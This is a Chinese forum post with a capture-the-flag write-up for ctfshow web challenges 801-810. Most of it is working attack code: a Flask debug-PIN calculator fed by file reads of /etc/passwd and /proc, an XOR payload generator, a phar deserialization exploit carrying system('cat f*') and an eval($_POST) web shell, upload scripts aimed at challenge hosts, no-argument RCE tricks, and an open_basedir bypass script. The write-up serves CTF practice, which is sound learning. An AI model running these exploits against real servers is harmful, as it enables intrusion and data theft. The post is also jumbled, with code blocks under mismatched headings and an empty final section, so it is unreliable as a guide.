琶轮 发表于 2025-8-2 22:12:24

ctfshow web入门 常见姿势 Web801-Web810

Web801(flask算PIN)

非预期解
/file?filename=/flag
预期解 计算pin码
/file?filename=/etc/passwd
发现能查看 说明是root
先查MAC地址
/file?filename=/sys/class/net/eth0/address
02:42:ac:0c:b1:e2
再查machine-id
/file?filename=/proc/sys/kernel/random/boot_id

/file?filename=/proc/self/cgroup

225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)

probably_public_bits = [
    username, #用户名
    modname,#一般固定为flask.app
    getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
    '/usr/local/lib/python3.8/site-packages/flask/app.py',   #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:b1:e2'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
   mac,#mac地址十进制
"225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d"
   ]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
      continue
    if isinstance(bit, str):
      bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
    for group_size in 5, 4, 3:
      if len(num) % group_size == 0:
            rv = "-".join(
                num.rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
      rv = num

print(rv)

python3.8要用sha1 python3.6要用MD5#MD5
import hashlib
from itertools import chain
probably_public_bits = [
   'flaskweb'# username
   'flask.app',# modname
   'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
   '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
   '25214234362297',# str(uuid.getnode()),/sys/class/net/ens33/address
   '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
      continue
    if isinstance(bit, str):
      bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num.rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)web802(无字母数字命令执行)

<?php
$myfile = fopen("C:\\Users\\26387\\Desktop\\rce.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) {
        for ($j=1; $j <256 ; $j++) {

                if($i<16){
                        $hex_i='0'.dechex($i);
                }
                else{
                        $hex_i=dechex($i);
                }
                if($j<16){
                        $hex_j='0'.dechex($j);
                }
                else{
                        $hex_j=dechex($j);
                }
                $preg = '/|/i';
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                                        echo "";
            }

                else{
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)^urldecode($b));
                if (ord($c)>=32&ord($c)<=126) {
                        $contents=$contents.$c." ".$a." ".$b."\n";
                }
        }

}
}
fwrite($myfile,$contents);
fclose($myfile);?>


Web803(phar文件包含)


接着上传文件
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
      include $file.'.txt';
    }else{
      file_put_contents($file,$content);
    }
}Web804(phar反序列化)

[无参RCE攻防技巧-CSDN博客](https://blog.csdn.net/qq_45570082/article/details/106602261)
利用session_id
import requests
url="http://6eda48f3-8082-442d-8823-c1cc2d7a2cdf.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)

但是发现session已存活

无法改变Session_id,此方法失败。
利用get_defined_vars ()函数
get_defined_vars():返回由所有已定义变量所组成的数组
而get_defined_vars()返回的又是一个数组,我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com


error_reporting(0);
highlight_file(__FILE__);

class hacker{
    public $code;
    public function __destruct(){
      eval($this->code);
    }
}

$file = $_POST['file'];
$content = $_POST['content'];

if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file)){
      unlink($file);
    }else{
      file_put_contents($file,$content);
    }
}我们先current定位第一个get
<?php
class hacker{
    public $code;
    public function __destruct(){
      eval($this->code);
    }
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST);?>");
$phar->stopBuffering();
?>
对于next() end()等函数我们可以举例子利用看看


这里我们就用end()了
import requests
url="http://438d535d-6030-47bf-964d-f1054ab03155.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)发现可以显示"1",那我们只需要前面套个eval进行命令执行
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_POST);
或者
<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'
');
}
?>
利用getallheaders()
getallheaders返回当前请求的所有请求头信息


我这里注入点用的是UA头
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo $file."
";
    }
    closedir($b);
}
?>利用scandir()函数
获取当前目录文件
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
    mkdir($paths[$i]);
    chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
    chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
    mkdir($name);
    chdir($name);
    $j++;
}
for ($i = 0; $i <= $j; $i++) {
    chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');

function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to   = str_replace('\\', '/', $to);

$from   = explode('/', $from);
$to   = explode('/', $to);
$relPath= $to;

foreach($from as $depth => $dir) {
    // find first non-matching dir
    if($dir === $to[$depth]) {
      // ignore this directory
      array_shift($relPath);
    } else {
      // get number of remaining dirs to $from
      $remaining = count($from) - $depth;
      if($remaining > 1) {
      // add traversals up to first matching dir
      $padLength = (count($relPath) + $remaining - 1) * -1;
      $relPath = array_pad($relPath, $padLength, '..');
      break;
      } else {
      $relPath = './' . $relPath;
      }
    }
}
return implode('/', $relPath);
}

function delfile($deldir){
    if (@is_file($deldir)) {
      @chmod($deldir,0777);
      return @unlink($deldir);
    }else if(@is_dir($deldir)){
      if(($mydir = @opendir($deldir)) == NULL) return false;
      while(false !== ($file = @readdir($mydir)))
      {
            $name = File_Str($deldir.'/'.$file);
            if(($file!='.') && ($file!='..')){delfile($name);}
      }
      @closedir($mydir);
      @chmod($deldir,0777);
      return @rmdir($deldir) ? true : false;
    }
}

function File_Str($string)
{
    return str_replace('//','/',str_replace('\\','/',$string));
}

function getRandStr($length = 6) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $randStr = '';
    for ($i = 0; $i < $length; $i++) {
      $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    }
    return $randStr;
}获取上级目录文件
<?php

# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-03-19 12:10:55
# @Last Modified by:   h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

highlight_file(__FILE__);

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {   
    eval($_GET['code']);
}
?>/?code=eval(hex2bin(session_id(session_start())));
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。经过测试 发现能读取当前目录的文件内容,但是读不到根目录的内容(可能是我太菜了呜呜呜,有知道的师傅可以私信T我一下)
Web807(反弹shell)

页: [1]
查看完整版本: ctfshow web入门 常见姿势 Web801-Web810